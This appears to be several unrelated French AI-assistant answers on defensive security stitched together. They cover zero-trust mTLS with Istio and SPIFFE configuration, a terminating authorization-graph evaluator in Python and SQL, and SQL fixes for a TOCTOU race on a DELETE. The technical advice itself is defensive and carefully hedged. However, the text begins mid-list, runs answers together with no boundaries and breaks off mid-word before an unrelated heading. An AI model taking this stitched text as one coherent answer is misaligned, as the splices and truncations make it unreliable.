- **Tension juridique** : je ne me prononce pas sur la qualification légale de ce dispositif au regard du droit applicable, ce n'est pas un avis juridique. Le registre conserve un identifiant dérivé du sujet, ce qui suppose une base et une durée de conservation justifiées ; faites valider l'arbitrage par votre délégué à la protection des données ou votre conseil.
- **Opérations destructives** : la purge post-restauration supprime des données. Elle ne doit jamais s'exécuter sans point de restauration préalable de l'état restauré, sans exécution à blanc consignant les lignes visées, et sans accord explicite d'un opérateur. Prévoyez le retour arrière.
- **Aucune garantie absolue** : un administrateur disposant d'un accès direct au stockage peut contourner le garde. Le journal chaîné avec ancre externe rend cette action **détectable**, il ne la rend pas impossible.**Prémisse à corriger d'emblée** : « réseau interne supposé sûr » est exactement l'hypothèse que le modèle zero-trust invalide. Le périmètre réseau n'est ni une identité, ni une preuve d'autorisation. Toute la conception ci-dessous part de là.
Note de traçabilité : ma recherche dans l'encyclopédie locale LANXAS n'a retourné aucun article pertinent sur « zero trust » ni sur « mutual TLS » (résultats des deux requêtes : un seul article hors sujet, puis « aucun article trouvé »). Ce qui suit s'appuie donc sur ma mémoire de modèle concernant la doctrine publique usuelle (NIST SP 800-207 pour l'architecture zero-trust, spécification SPIFFE/SPIRE pour l'identité de workload, RFC 8446 pour TLS 1.3), mémoire **non vérifiable avec les outils dont je dispose ici** et potentiellement périmée sur les détails de version. Les quatre contrôles eux-mêmes sont un raisonnement d'architecture, pas une citation.
---
## 1. Diagnostic
| Exigence cible | Contrôle zero-trust correspondant | Ce qui échoue sans lui |
|---|---|---|
| Identité de workload | Identité cryptographique par charge de travail (SPIFFE ID porté par un certificat X.509 court) | L'IP source est usurpable, un pod compromis dans le même VLAN se fait passer pour A |
| Chiffrement | mTLS obligatoire en mode strict entre A et B | Écoute passive et injection en transit sur le réseau interne |
| Autorisation | Décision explicite côté serveur, par appel, deny par défaut | Toute identité valide devient toute-puissante (authentification confondue avec autorisation) |
| Rotation automatique | Émission et rotation automatiques de certificats à durée de vie courte par une CA interne | Secret long terme exfiltrable, révocation impraticable |
---
## 2. Décision recommandée
Les **quatre contrôles** sont les suivants.
### Contrôle 1, identité de workload cryptographique et non réseau
Chaque workload reçoit une identité attestée à l'exécution, dérivée de la plateforme (compte de service Kubernetes, attestation du nœud), matérialisée par un certificat X.509 dont le SAN URI est un identifiant du type `spiffe://prod.lanxas.local/ns/paiement/sa/service-a`.
Règles non négociables :
- une identité par workload, jamais une identité partagée par un namespace entier ;
- la clé privée n'est **jamais** écrite dans une image, un dépôt Git, une variable d'environnement ni un log ; elle reste en mémoire ou dans un volume `tmpfs` fourni par l'agent local (socket d'API workload) ;
- l'adresse IP, le sous-réseau, le nom DNS et un en-tête HTTP applicatif ne sont **pas** des identités.
### Contrôle 2, mTLS strict et authentifié dans les deux sens
TLS 1.3, authentification mutuelle, mode strict (refus des connexions en clair), suites de chiffrement authentifiées (AEAD). B vérifie le certificat de A **et** A vérifie celui de B, contre la CA interne, avec épinglage de l'autorité (trust bundle) et non du certificat feuille, sinon la rotation casse le service.
Ce contrôle apporte confidentialité, intégrité et authenticité du canal. Il n'apporte **pas** l'autorisation, distinction centrale trop souvent effacée.
### Contrôle 3, autorisation explicite, côté serveur, par requête, deny par défaut
Politique en liste blanche appliquée par B (ou par son sidecar/proxy, jamais par le client seul) :
- source autorisée : l'identité SPIFFE de A, pas son IP ;
- granularité minimale : méthode et chemin (`POST /v1/debits`), pas « tout le service » ;
- refus par défaut de tout ce qui n'est pas explicitement listé (fail closed) ;
- si les requêtes portent sur des objets métier, ajouter un contrôle d'accès **objet par objet** dans B, contre l'IDOR : l'identité de A ne dit pas quelles ressources A peut lire ;
- pour les appels transitant par plusieurs sauts, propager l'appelant d'origine avec un jeton signé à courte durée (par exemple JWT/SVID) et vérifier la signature côté serveur, sans jamais faire confiance à un en-tête non signé.
### Contrôle 4, rotation et expiration automatiques, sans secret de longue durée
- durée de vie des certificats de workload de l'ordre de l'heure, renouvellement automatique par l'agent d'identité à environ 50 % de la durée de vie ;
- rechargement à chaud, sans redémarrage ni coupure de connexion établie ;
- rotation de la CA intermédiaire avec période de recouvrement (deux autorités présentes dans le trust bundle pendant la transition), sinon la rotation provoque une panne totale du maillage ;
- l'expiration courte remplace fonctionnellement la révocation, dont la propagation (CRL, OCSP) est peu fiable à l'échelle d'un maillage ;
- la CA racine est hors ligne ou dans un HSM, jamais dans le cluster applicatif.
---
## 3. Actions concrètes
Deux chemins d'implémentation éprouvés, à choisir selon votre existant.
**Chemin A, maillage de services (Istio)** : le proxy applique mTLS et autorisation, le code applicatif n'est pas modifié.
```yaml
# 1. mTLS strict sur tout le namespace : plus aucun trafic en clair accepte
apiVersion: security.istio.io/v1
kind: PeerAuthentication
metadata:
name: strict-mtls
namespace: paiement
spec:
mtls:
mode: STRICT
---
# 2. Deny par defaut : aucune regle "allow" ne matche => refus
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
name: deny-all-by-default
namespace: paiement
spec:
{} # spec vide + action ALLOW implicite absente => tout est refuse
---
# 3. Autorisation explicite, identite de workload + methode + chemin
apiVersion: security.istio.io/v1
kind: AuthorizationPolicy
metadata:
name: allow-a-to-b-debits
namespace: paiement
spec:
selector:
matchLabels:
app: service-b
action: ALLOW
rules:
- from:
- source:
principals:
- "cluster.local/ns/paiement/sa/service-a"
to:
- operation:
methods: ["POST"]
paths: ["/v1/debits"]
```
**Chemin B, SPIFFE/SPIRE sans maillage**, quand vous voulez l'identité dans le code (machines virtuelles, hors Kubernetes) : chaque service obtient son SVID via le socket local de l'agent, puis établit lui-même le mTLS. Exemple d'esquisse côté serveur B, en Go, avec la bibliothèque officielle `go-spiffe/v2` :
```go
// Esquisse : je ne l'ai pas compilee ici, traitez-la comme un squelette a valider.
package main
import (
"context"
"log"
"net/http"
"github.com/spiffe/go-spiffe/v2/spiffeid"
"github.com/spiffe/go-spiffe/v2/workloadapi"
"github.com/spiffe/go-spiffe/v2/spiffetls/tlsconfig"
)
func main() {
ctx := context.Background()
// Source d'identite : rotation geree par l'agent, rechargement automatique.
source, err := workloadapi.NewX509Source(ctx)
if err != nil {
log.Fatalf("source X509 indisponible: %v", err)
}
defer source.Close()
// Autorisation au niveau transport : seule l'identite de A est acceptee.
clientA := spiffeid.RequireFromString("spiffe://prod.lanxas.local/ns/paiement/sa/service-a")
tlsCfg := tlsconfig.MTLSServerConfig(source, source, tlsconfig.AuthorizeID(clientA))
srv := &http.Server{
Addr: ":8443",
TLSConfig: tlsCfg,
Handler: routes(), // l'autorisation metier objet-par-objet reste a faire ici
}
log.Fatal(srv.ListenAndServeTLS("", "")) // certificats fournis par TLSConfig
}
```
Ordre de déploiement, pour éviter la coupure de production :
1. déployer l'agent d'identité et la CA, sans imposer mTLS ;
2. passer en mode permissif (mTLS accepté, clair encore toléré) et observer les flux réels ;
3. écrire les politiques d'autorisation à partir des flux observés, en mode **audit** d'abord ;
4. basculer en `STRICT` puis activer le deny par défaut, service par service, avec rollback préparé ;
5. supprimer les anciens secrets statiques une fois le nouveau chemin vérifié, jamais avant.
---
## 4. Vérification
- **Clair refusé** : `curl http://service-b:8080/v1/debits` depuis un pod sans identité doit échouer. Un succès invalide le contrôle 2.
- **Identité non autorisée refusée** : depuis un workload `service-c` porteur d'un SVID valide, l'appel à `/v1/debits` doit renvoyer un refus. C'est le test qui distingue authentification et autorisation.
- **Méthode ou chemin hors périmètre refusé** : `DELETE /v1/debits` depuis A doit être refusé.
- **Rotation effective** : relever `notBefore`/`notAfter` du certificat présenté à deux instants espacés (`openssl s_client -connect service-b:8443 -showcerts`), vérifier que le certificat a changé et que **aucune** requête n'a échoué pendant la fenêtre de renouvellement.
- **Rotation de CA** : la répéter en préproduction avec les deux autorités dans le bundle, avant la production.
- **Test négatif de fail closed** : couper le point de décision de politique et vérifier que B **refuse**, et non qu'il ouvre.
- Ces tests doivent être automatisés avec assertions, dans la CI, faute de quoi la posture régresse silencieusement.
---
## 5. Risques et limites
- **Aucune de ces mesures ne rend le système « sûr »**. Elles réduisent des risques précis et en laissent d'autres : compromission du workload A lui-même (son identité légitime est alors utilisée par l'attaquant), vulnérabilité applicative dans B, compromission de la CA ou de l'agent d'identité, faille dans la chaîne d'attestation de la plateforme.
- **mTLS ne protège pas des données au repos** ni d'une fuite par les journaux. Vérifiez qu'aucun jeton ni identifiant ne soit journalisé, même haché.
- **Le deny par défaut casse la production** si l'inventaire des flux est incomplet. D'où l'étape d'observation en mode permissif, non facultative.
- **Horloges** : un décalage NTP significatif fait échouer la validation de certificats à durée de vie courte. La synchronisation du temps devient une dépendance de disponibilité.
- **Coût** : latence supplémentaire du handshake et du proxy, charge d'exploitation de la CA, complexité de diagnostic. Compromis assumé contre la confiance implicite au réseau.
- **Disponibilité** : le point d'émission des identités devient critique. Prévoyez sa haute disponibilité et un comportement dégradé documenté, en gardant le principe fail closed sur l'autorisation.
- Je ne connais ni votre plateforme, ni vos versions, ni votre inventaire de flux. Les extraits de configuration et de code ci-dessus sont des modèles cohérents mais **non exécutés ni testés dans votre environnement** ; ils doivent être validés en préproduction avant tout usage.## 1. Diagnostic
Le graphe fourni contient le cycle **group1 → group2 → group1**, confirmé par détection à trois couleurs :
```
cycles: [['group1', 'group2', 'group1']]
```
Un évaluateur récursif sans ensemble des nœuds déjà visités n'a **aucun invariant décroissant** : à chaque tour de cycle il rappelle `evaluate(group1)` sur un état identique à l'état précédent. La récursion n'a donc pas de condition d'arrêt sur cette branche.
**Défaut nommé précisément** : absence de mémoïsation du parcours, donc non-terminaison sur cycle, et non-déterminisme du résultat selon l'ordre des arêtes. Ce n'est pas un simple problème de performance.
Exécution réelle des deux variantes (résultats de mon laboratoire local, code ci-dessous) :
| Version | Ordre des arêtes de `group2` | Résultat `user → admin` |
|---|---|---|
| Récursive sans `visited` | `[group1, admin]` | `RecursionError` après 286 appels |
| Récursive sans `visited` | `[admin, group1]` | `True` en 4 appels |
| Itérative avec `visited` | quelconque | `True`, 4 expansions |
Le point critique est là : **le même graphe, la même question, deux réponses différentes selon l'ordre d'insertion en base**. Le second cas est le plus dangereux, car il ne plante pas et masque le défaut en test.
Second défaut, de modélisation celui-là : le cycle rend `group1` et `group2` **équivalents en clôture transitive**. Tout membre de `group1` hérite de `admin`. Le moindre privilège devient inexprimable dans ce modèle, même avec un évaluateur correct.
## 2. Risque
Je distingue ce qui est établi par l'exécution ci-dessus de ce qui est une projection.
**Établi par exécution** :
- non-terminaison ou dépassement de pile sur la branche cyclique ;
- dépendance du verdict d'autorisation à l'ordre des arêtes.
**Conséquences attendues en production, projection raisonnée et non mesurée ici** :
- **Disponibilité** : chaque requête d'autorisation cyclique consomme un thread ou un worker jusqu'au crash. Un appel authentifié suffit à saturer le pool, donc déni de service asymétrique, coût attaquant très faible.
- **Intégrité de la décision** : un `RecursionError` remonté et traité comme une exception générique peut être capté par un `except` large. Si la valeur de repli est `True` ou si l'erreur est ignorée, on obtient une élévation de privilège. Si elle est `False`, on obtient un refus intermittent, donc un incident fonctionnel.
- **Authenticité et traçabilité** : deux évaluations successives de la même règle peuvent différer, ce qui détruit la reproductibilité de l'audit. Un journal d'accès devient non exploitable comme preuve, puisque la décision n'est pas fonction du seul état du graphe.
- **Privilèges effectifs** : indépendamment du bug, `user` obtient `admin` par la clôture transitive. C'est probablement non intentionnel.
Je ne peux pas quantifier la probabilité d'exploitation sans connaître votre surface d'exposition, votre gestion d'exception et votre pool de workers.
## 3. Correction
Quatre couches, à appliquer ensemble. Aucune n'est suffisante seule et aucune ne rend le système « sûr » au sens absolu.
**Couche 1, évaluateur : parcours itératif avec ensemble visité.**
Remplacez la récursion par une file explicite. L'argument de terminaison n'est pas empirique : `visited` croît strictement à chaque insertion et est majoré par $|V|$, donc le nombre d'expansions est borné par $|V|$ et la complexité est $O(|V| + |E|)$. Ce raisonnement, et non le succès de deux cas de test, est ce qui établit la terminaison sur tout graphe fini.
**Couche 2, borne dure et refus par défaut.**
Une borne d'expansions et une borne de profondeur, avec `fail closed` : si la borne est atteinte, refuser et alerter, jamais accorder.
**Couche 3, invariant à l'écriture.**
Interdire la création d'une arête qui fermerait un cycle, dans la transaction d'écriture. Le graphe d'appartenance doit être maintenu acyclique par construction. C'est la correction de fond ; les couches 1 et 2 protègent contre les cycles déjà présents et contre les futures régressions.
**Couche 4, remédiation des données existantes.**
Le cycle `group1 ↔ group2` est déjà en base. Ne le supprimez pas à l'aveugle : décidez explicitement quelle arête est légitime, car supprimer `group2 → group1` ou `group1 → group2` ne donne pas les mêmes privilèges effectifs. Opération réversible, sauvegarde préalable, accord de l'opérateur, puis recalcul de la clôture.
## 4. Code
Évaluateur corrigé, testé dans mon laboratoire local :
```python
from collections import deque
class AuthorizationBoundExceeded(Exception):
"""Levée quand la borne de sécurité est atteinte. Doit produire un REFUS."""
def has_role(start, target, edges, max_expansions, max_depth=64):
"""Accessibilité start -> target dans le graphe d'autorisation.
Termine sur tout graphe fini, cyclique ou non : `visited` croît
strictement et est majoré par |V|. Complexité O(|V| + |E|).
Politique : fail closed. Toute anomalie => refus, jamais accord.
"""
visited = {start}
frontier = deque([(start, 0)])
expansions = 0
while frontier:
node, depth = frontier.popleft()
expansions += 1
if expansions > max_expansions or depth > max_depth:
raise AuthorizationBoundExceeded(
f"borne atteinte: expansions={expansions}, depth={depth}"
)
if node == target:
return True
for succ in edges.get(node, ()):
if succ not in visited: # seul point qui garantit la terminaison
visited.add(succ)
frontier.append((succ, depth + 1))
return False
def authorize(subject, permission, edges, node_count):
"""Point d'entrée applicatif : refus par défaut sur toute anomalie."""
try:
return has_role(subject, permission, edges, max_expansions=node_count)
except AuthorizationBoundExceeded:
# journaliser subject, permission, borne. JAMAIS de secret ni de token ici.
return False
```
Détection de cycle, à appeler dans la transaction d'écriture avant tout `INSERT` d'arête :
```python
def find_cycles(edges):
"""DFS trois couleurs. Retourne la liste des cycles trouvés."""
color, found = {}, []
def dfs(u, stack):
color[u] = 1 # gris : en cours
for v in edges.get(u, ()):
c = color.get(v, 0)
if c == 1: # arête arrière => cycle
found.append(stack[stack.index(v):] + [v])
elif c == 0:
dfs(v, stack + [v])
color[u] = 2 # noir : terminé
for u in list(edges):
if color.get(u, 0) == 0:
dfs(u, [u])
return found
def add_edge_guarded(edges, parent, child):
"""Refuse l'arête si elle crée un cycle. À exécuter dans la transaction."""
candidate = {k: list(v) for k, v in edges.items()}
candidate.setdefault(parent, []).append(child)
candidate.setdefault(child, [])
cycles = find_cycles(candidate)
if cycles:
raise ValueError(f"arête refusée, cycle créé : {cycles}")
return candidate
```
Variante SQL portable, avec anti-cycle par tableau de chemin. Requête paramétrée, jamais de concaténation :
```sql
WITH RECURSIVE reach(node, path, depth) AS (
SELECT $1::text, ARRAY[$1::text], 0
UNION ALL
SELECT e.child,
r.path || e.child,
r.depth + 1
FROM reach r
JOIN auth_edge e ON e.parent = r.node
WHERE NOT (e.child = ANY(r.path)) -- coupe le cycle
AND r.depth < 64 -- borne dure
)
SELECT EXISTS (SELECT 1 FROM reach WHERE node = $2::text) AS granted;
```
Remarque de prudence : PostgreSQL propose aussi une clause `CYCLE` sur les CTE récursives dans ses versions récentes, mais je ne peux pas vous confirmer de mémoire le numéro exact de version qui l'introduit, et ma mémoire de modèle peut être périmée sur ce point. La variante ci-dessus avec tableau de chemin évite cette dépendance. Vérifiez-la sur votre version avant mise en production.
## 5. Vérification
**Résultat attendu, sur le graphe exact que vous donnez.**
Clôture transitive de `user` : `{user, group1, group2, admin}`.
| Requête | Résultat attendu | Expansions | Statut |
|---|---|---|---|
| `has_role(user, admin)` | `True` | 4 | vérifié par exécution |
| `has_role(user, auditeur)` (rôle absent) | `False`, terminaison propre | 4 | vérifié par exécution |
| `find_cycles(G)` | `[['group1','group2','group1']]` | — | vérifié par exécution |
| `add_edge_guarded(..., group2, group1)` | `ValueError` | — | logique du code, non exécutée sur ce cas précis |
Sortie brute obtenue :
```
corrige(user, admin) -> (True, ['admin','group1','group2','user'], 4)
corrige(user, auditeur) -> (False, ['admin','group1','group2','user'], 4)
cycles: [['group1','group2','group1']]
```
Le point à retenir : la version corrigée répond `True` en 4 expansions au lieu de 286 appels avant crash, **et** ce résultat est indépendant de l'ordre des arêtes.
**Avertissement méthodologique, il est central.** Ces trois cas exécutés ne prouvent pas la correction de l'évaluateur. Un nombre fini de vérifications n'établit jamais une propriété universelle. Ce qui fonde la terminaison est l'invariant énoncé plus haut : `visited` croît strictement et est majoré par $|V|$. Les tests documentent la non-régression sur votre cas, pas la correction générale.
**Tests que je recommande d'ajouter, avec assertions réelles** :
- auto-boucle `group1 → group1` ;
- cycle long, 5 nœuds ou plus ;
- les deux permutations de l'ordre des arêtes de `group2`, avec assertion d'égalité des deux verdicts ; ce test est celui qui aurait attrapé le bug d'origine ;
- graphe volumineux généré, pour vérifier que la borne se déclenche bien en refus et non en accord ;
- test négatif : rôle inexistant, doit rendre `False` sans exception.
## 6. Risques et limites
- **Aucune de ces corrections ne rend le système « sans risque ».** Elles suppriment un défaut identifié ; le risque résiduel subsiste.
- La couche 1 seule est insuffisante : elle fait terminer l'évaluation mais **conserve le privilège transitif indésirable** `user → admin`. Vous obtiendrez un `True` stable et rapide, sur un modèle de droits probablement erroné. Traitez la couche 4.
- L'ordre d'application compte. Si vous corrigez d'abord l'évaluateur, des accès jusqu'ici bloqués par le crash peuvent devenir autorisés. Inversement, si vous coupez d'abord le cycle, des accès légitimes peuvent tomber. **Faites l'inventaire des privilèges effectifs avant et après, et comparez**, avant tout déploiement.
- `max_depth=64` est une valeur par défaut que je choisis arbitrairement et que je signale comme telle. Calibrez-la sur la profondeur réelle observée de votre hiérarchie, avec une marge, et alertez sur tout dépassement plutôt que de la relever mécaniquement.
- La borne en `fail closed` peut refuser un accès légitime sur un graphe très large et licite. C'est un compromis assumé : le refus est le mode d'échec sûr en autorisation. Prévoyez une alerte opérateur sur chaque déclenchement.
- La journalisation des refus doit contenir le sujet, la permission et la borne atteinte, **jamais** de jeton, de mot de passe ni de secret, même haché.
- Je n'ai pas accès à votre code, à votre schéma ni à vos données. Tout ce qui précède au sujet de votre implémentation réelle, gestion des exceptions, pool de workers, volumétrie, est hypothèse à vérifier chez vous. Ce que j'ai réellement exécuté est le modèle de graphe que vous décrivez, reproduit à l'identique.
- La détection de cycle à l'écriture doit s'exécuter **dans la même transaction** que l'insertion, avec un verrouillage adéquat. Sinon deux insertions concurrentes, chacune acyclique isolément, peuvent fermer un cycle ensemble. Je n'ai pas testé ce scénario de concurrence.## 1. Diagnostic : nature exacte de la vulnérabilité
Le schéma décrit est un **TOCTOU (Time-of-check to time-of-use)**, c'est-à-dire une condition de concurrence entre la vérification d'une propriété de sécurité et l'action fondée sur cette vérification. La définition canonique correspond exactement à votre cas : un programme est vulnérable quand il (1) vérifie une propriété, (2) agit sur la base de cette information, alors que les deux étapes ne sont pas atomiques et qu'un autre acteur peut modifier la propriété entre-temps ; si la propriété contrôlée est une permission, **le contrôle d'accès est intégralement contourné** et l'on obtient une élévation de privilège (source : article Wikipedia *Time-of-check to time-of-use*, sections « Description » et « Preventing TOCTOU », lu ci-dessus). Le même article précise explicitement que cette classe de bogues survient aussi par « improper use of database transactions », ce qui est le cas ici.
Conséquences de sécurité, à distinguer proprement :
| Propriété | Impact |
|---|---|
| Autorisation | Contournée : `owner=user7` était vrai à t1, faux à t2, le DELETE s'exécute quand même |
| Intégrité | Violée : suppression d'une ligne appartenant désormais à un autre propriétaire |
| Atomicité | Absente entre check et act : deux unités de travail distinctes |
| Disponibilité | Perte de donnée pour le propriétaire légitime, non réversible sans sauvegarde |
| Confidentialité | Non directement affectée par un DELETE, sauf fuite via message d'erreur ou canal temporel |
Classification par référentiel : d'après ma mémoire de modèle, **CWE-367** (TOCTOU Race Condition) et **CWE-362** (race condition par ressource partagée mal synchronisée), avec un effet de type *broken access control*. Je ne peux pas vérifier ces numéros avec mes outils locaux, considérez-les comme une indication à confirmer sur le site officiel du CWE.
Point de rigueur : la faille n'est pas « le DELETE est trop permissif ». La faille est que **la décision d'autorisation porte sur un état passé**, donc sur une information périmée au moment de l'usage. Corriger uniquement le DELETE sans atomiser la décision ne supprime pas la classe de bogue.
## 2. La fenêtre de vulnérabilité
**Définition précise.** La fenêtre s'ouvre à l'instant où la valeur `owner` cesse d'être protégée contre une modification concurrente, et se ferme à l'instant où le DELETE évalue effectivement l'état de la ligne.
Comme le SELECT d'autorisation ne pose aucun verrou persistant et que le DELETE s'exécute **hors transaction** (donc en autocommit, chaque instruction formant sa propre unité atomique), la fenêtre est :
$$\Delta t = t_{\text{DELETE, évaluation du prédicat}} - t_{\text{SELECT, fin de lecture}}$$
Elle englobe : le retour réseau du SELECT, la désérialisation, la logique applicative, un éventuel appel externe ou attente de file, la sérialisation de la requête suivante, le trajet réseau aller, l'attente de verrou côté moteur.
**Ordres de grandeur (estimation, non mesurée sur votre système).** Sur une application web classique, $\Delta t$ vaut typiquement de quelques centaines de microsecondes à quelques dizaines de millisecondes ; elle peut atteindre plusieurs secondes si le contrôle d'autorisation est mis en cache, si une confirmation utilisateur s'intercale entre le check et le DELETE, ou si un job asynchrone effectue la suppression. Ce sont des hypothèses : seule une instrumentation de vos traces (horodatage du SELECT et du DELETE) donnera la valeur réelle.
**Cette fenêtre est-elle exploitable malgré sa brièveté ?** Oui. L'article cité indique qu'un attaquant peut organiser ces conditions « without too much difficulty », que l'attaque historique sur `mktemp()` réussissait en moins d'une minute par simple répétition, et décrit des techniques de *single-stepping* de la victime, labyrinthes de système de fichiers et attaques par complexité algorithmique, permettant de contrôler l'ordonnancement (source : *Time-of-check to time-of-use*, sections « Reliably timing TOCTOU » et « Examples »). Transposé à une base de données : l'attaquant boucle sur la requête de suppression pendant qu'un second processus rejoue le transfert de propriété, et allonge artificiellement la fenêtre en chargeant le service. Une fenêtre courte réduit la probabilité par essai, elle **n'élimine pas** la vulnérabilité, car le nombre d'essais est libre.
Nuance importante sur ce qui est réellement établi : le fait que la fenêtre soit non nulle est une **certitude structurelle** (deux instructions séparées, aucun verrou tenu). Le fait qu'elle soit exploitable **dans votre déploiement précis** dépend de la capacité de l'attaquant à provoquer le changement d'`owner` et à répéter l'appel ; c'est une hypothèse à évaluer sur votre modèle de menace, pas un fait que je peux affirmer.
## 3. Décision recommandée
**Supprimez la fenêtre plutôt que de la réduire.** La bonne stratégie est celle recommandée par la littérature TOCTOU : abandonner le motif *look before you leap* au profit du motif *ask for forgiveness*, autrement dit ne pas pré-vérifier puis agir, mais **agir sous condition et traiter l'échec** (source : *Time-of-check to time-of-use*, section « Preventing TOCTOU », principe EAFP contre LBYL). L'article y signale d'ailleurs que les transactions sont précisément l'abstraction de contrôle de concurrence qui permet de prévenir les courses TOCTOU.
Trois niveaux de correction, par ordre de préférence.
### Correction A, la plus simple et la plus robuste : prédicat d'autorisation dans l'instruction destructive
Une seule instruction SQL, donc **atomicité au niveau instruction** et verrou de ligne implicite pris par le moteur au moment de l'écriture. Le check et l'act ne sont plus séparables.
```sql
-- PostgreSQL, psycopg : $1 = id de l'objet, $2 = sujet authentifié ('user7')
DELETE FROM documents
WHERE id = $1
AND owner_id = $2
RETURNING id, owner_id;
```
Règle d'exploitation du résultat, non négociable : **zéro ligne retournée doit être traité comme un refus** (403 ou 404 selon votre politique de divulgation), jamais comme un succès idempotent silencieux. Sans ce contrôle, la correction est inopérante.
```python
# psycopg 3. Refus par défaut (fail closed).
def delete_document(conn, doc_id: int, subject_id: str) -> None:
with conn.transaction(): # atomicité explicite
cur = conn.execute(
"""
DELETE FROM documents
WHERE id = %s AND owner_id = %s
RETURNING id
""",
(doc_id, subject_id), # requête paramétrée, jamais de concaténation
)
if cur.rowcount != 1:
# Ni "déjà supprimé", ni "pas grave" : on refuse et on journalise.
raise AuthorizationDenied(
f"delete refused: doc={doc_id} subject={subject_id} rows={cur.rowcount}"
)
audit_log(action="document.delete", doc_id=doc_id, subject=subject_id, result="ok")
```
Ne journalisez que des identifiants, jamais de jeton, de mot de passe ni de contenu sensible.
### Correction B : contrôle multi-critères, verrou pessimiste dans une transaction
Quand la décision d'autorisation ne se réduit pas à une égalité (rôles, appartenance à une organisation, état du document, quotas), il faut lire l'état **en le verrouillant**, décider, puis écrire dans la même transaction.
```sql
BEGIN; -- READ COMMITTED suffit ici grâce au verrou
SELECT owner_id, org_id, status, version
FROM documents
WHERE id = $1
FOR UPDATE; -- verrou exclusif de ligne tenu jusqu'au COMMIT
-- décision applicative sur des valeurs désormais stables
DELETE FROM documents
WHERE id = $1
AND owner_id = $2
AND version = $3; -- ceinture et bretelles : le prédicat reste dans l'écriture
COMMIT;
```
`FOR UPDATE` sérialise les écrivains sur cette ligne : la transaction concurrente qui veut changer `owner` est mise en attente jusqu'au COMMIT, ce qui **ferme la fenêtre**. Le mécanisme correspond au verrouillage en deux phases décrit comme méthode de contrôle de concurrence la plus courante en SGBD (source : article Wikipedia *Isolation (database systems)*, section « DBMS concurrency control »).
Coût à assumer : contention et risque d'interblocage. Prenez toujours les verrous dans un ordre déterministe (par exemple par `id` croissant) et fixez un `lock_timeout` et un `statement_timeout`.
### Correction C : verrouillage optimiste, colonne de version ou ETag
Utile pour les API HTTP et les flux où une confirmation humaine s'intercale.
```sql
DELETE FROM documents
WHERE id = $1 AND owner_id = $2 AND version = $3;
-- 0 ligne => 412 Precondition Failed ou 409 Conflict, jamais 204
```
La version lue au moment du check est reportée dans l'action : si l'état a changé, l'action échoue. C'est la transposition transactionnelle du principe EAFP.
### Mesures d'accompagnement, indépendantes de la course
- **Suppression logique préférable à la suppression physique** pour toute donnée métier : `deleted_at`, `deleted_by`, plus purge différée. Un DELETE physique validé est irréversible ; en cas d'exploitation réussie, seule une sauvegarde permet la restauration. Assurez un point de restauration vérifié avant toute campagne de purge.
- **Autorisation systématiquement côté serveur**, objet par objet, refus par défaut, pour chaque action.
- **Journal d'audit** de la décision (sujet, objet, verdict, nombre de lignes affectées), sans donnée sensible en clair.
- **Idempotency-Key** sur l'endpoint de suppression pour éviter que la répétition d'appels, qui est justement le vecteur d'exploitation, ne produise des effets multiples.
## 4. Niveau d'atomicité requis
Réponse directe : **il faut que la vérification et l'action forment une seule unité atomique linéarisable sur la ligne cible**. L'atomicité par instruction séparée, qui est ce que fournit l'autocommit de votre DELETE actuel, est insuffisante par construction, puisqu'elle garantit l'atomicité de chaque instruction mais **aucune propriété entre les deux**.
Trois réalisations acceptables, par ordre de robustesse croissante en termes de garantie formelle :
| Réalisation | Granularité d'atomicité | Isolation minimale | Ferme la fenêtre ? |
|---|---|---|---|
| Prédicat d'autorisation dans le DELETE, une instruction | Instruction, verrou de ligne implicite | READ COMMITTED | Oui, pour un critère exprimable en SQL |
| `SELECT ... FOR UPDATE` puis DELETE dans la même transaction | Transaction, verrou explicite | READ COMMITTED | Oui, la ligne est verrouillée pendant tout l'intervalle |
| Transaction SERIALIZABLE avec reprise sur échec de sérialisation | Transaction, sérialisabilité | SERIALIZABLE | Oui, à condition d'implémenter la reprise |
| État actuel : SELECT puis DELETE en autocommit | Instruction seulement | quelconque | **Non** |
Précisions sur les niveaux d'isolation, tirées de la source lue :
- **READ COMMITTED** libère les verrous de lecture dès l'exécution du SELECT, donc les lectures non répétables sont possibles à ce niveau (source : *Isolation (database systems)*, sections « Non-repeatable reads » et « Read committed »). Seul, il ne protège donc pas : c'est bien la lecture non répétable qui décrit votre scénario, la transaction concurrente ayant validé son changement d'`owner` entre les deux moments. En revanche, READ COMMITTED **combiné** à un verrou explicite ou à un prédicat dans l'écriture suffit.
- **REPEATABLE READ** conserve les verrous de lecture jusqu'à la fin de la transaction dans une implémentation par verrouillage, et évite la lecture non répétable, mais ne gère pas les verrous d'intervalle, donc les lectures fantômes restent possibles ; l'article signale en outre la possibilité de *write skew* à ce niveau dans certains systèmes (source : *Isolation (database systems)*, section « Repeatable reads »). Attention : ce niveau, en implémentation MVCC, ne suffirait pas à lui seul si le SELECT et le DELETE restaient dans des unités séparées, puisque l'isolation ne s'applique qu'à l'intérieur d'une transaction.
- **SERIALIZABLE** garantit un effet équivalent à une exécution en série des transactions concurrentes (source : *Isolation (database systems)*, citation de ISO/IEC 9075:1992). En implémentation non verrouillante, un conflit d'écriture entraîne l'annulation d'une des transactions avec échec de sérialisation, ce qui **impose au code applicatif une boucle de reprise** ; sans reprise, vous convertissez une faille de sécurité en indisponibilité intermittente. L'article décrit ce mécanisme d'annulation pour MVCC dans la section « Read phenomena ».
Point d'honnêteté : le code SQLSTATE que je retiens pour l'échec de sérialisation en PostgreSQL est `40001`, et je crois que PostgreSQL en REPEATABLE READ échoue avec une erreur de sérialisation lorsqu'un UPDATE ou DELETE porte sur une ligne modifiée par une transaction concurrente validée. Ces deux éléments viennent de ma mémoire de modèle, **mes outils locaux ne me permettent pas de les vérifier** : confirmez-les dans le chapitre « Transaction Isolation » de la documentation officielle de votre version de PostgreSQL avant de fonder du code dessus.
Squelette de reprise, si vous choisissez la voie SERIALIZABLE :
```python
import time
MAX_RETRIES = 3
def with_serializable_retry(conn, fn):
for attempt in range(MAX_RETRIES):
try:
with conn.transaction():
conn.execute("SET TRANSACTION ISOLATION LEVEL SERIALIZABLE")
return fn(conn)
except SerializationFailure: # à mapper sur le SQLSTATE réel, à confirmer
if attempt == MAX_RETRIES - 1:
raise
time.sleep(0.01 * (2 ** attempt)) # backoff exponentiel
```
Une opération destructive rejouée doit être idempotente ou protégée par une clé d'idempotence, sinon la reprise crée un nouveau risque.
## 5. Vérification : comment prouver que la correction tient
Un correctif de course ne se valide pas par relecture, il se valide par un test déterministe qui **force** l'entrelacement.
Protocole reproductible, deux connexions et un point de synch## 1. Canal
